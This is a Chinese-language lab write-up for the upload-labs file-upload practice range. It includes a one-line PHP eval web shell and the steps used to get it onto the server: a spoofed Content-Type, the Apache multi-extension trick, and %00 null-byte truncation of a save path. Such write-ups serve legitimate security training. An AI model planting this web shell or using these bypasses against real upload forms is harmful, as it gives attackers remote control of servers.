upload-labs靶场实战

环境搭建

在github下载：

然后使用phpstudy（小皮）搭建，搭建时注意下表（github上copy下来的）：

配置项	配置	描述
操作系统	Window or Linux	推荐使用Windows，除了Pass-19必须在linux下，其余Pass都可以在Windows上运行
PHP版本	推荐5.2.17	其他版本可能会导致部分Pass无法突破
PHP组件	php_gd2,php_exif	部分Pass依赖这两个组件
中间件	设置Apache以moudel方式连接

启动服务后，点击网站-创建网站，如果只想要在局域网中通过ip访问，可以将域名设置为ip

中国菜刀或中国蚁剑：

<?php @eval($_POST['cmd']);?>

先上传php看反馈：
再查看jsp可以知道这次为后端检测文件类型
通过burp suite抓包可以发现，上传php文件，Content-Type为application/octet-stream，而上传jpg文件Content-Type为image/jpeg，上传jpg可以成功，因此上传php文件时尝试将Content-Type设置为image/jpeg：
然后用中国菜刀访问成功。

先上传php看反馈：
前面的几种方式都不行了，考虑到apache识别文件拓展名时是从右边往左边识别，遇到不认识的拓展名就不管，而遇到认识的就会将其作为拓展名，因此将1.php文件名修改为1.php.xxxxx并上传，上传成功
访问链接，显然成功：
接下来就使用中国菜刀访问，可以正常访问

从源码中可以看到，它会找到文件名中’jpg’,’png’,’gif’三个字符串中最后一次出现的位置，并从这个位置截取扩展名，这是一种白名单，白名单这大概是没办法了，于是看下边的代码。
```
if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  
		if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
} 
```
注意到img_path是拼接得到的，再加上PHP版本小于5.3.4且magic_quotes_gpc为off状态，因此可以采用“%00”截断绕过，“%00”会将在其后面的所有字符串抹去，再加上save_path可控，使用burp suite构造以下参数：
```
filename='1.jpg'
```
```
save_path = ../upload/1.php%00
```
上传成功，以下是生成的图片链接：http://10.2.2.1/upload/1.php%EF%BF%BD/1420220704202529.jpg，这个链接是找不到文件的，改成http://10.2.2.1/upload/1.php才可以访问
看upload可以发现已经上传成功了：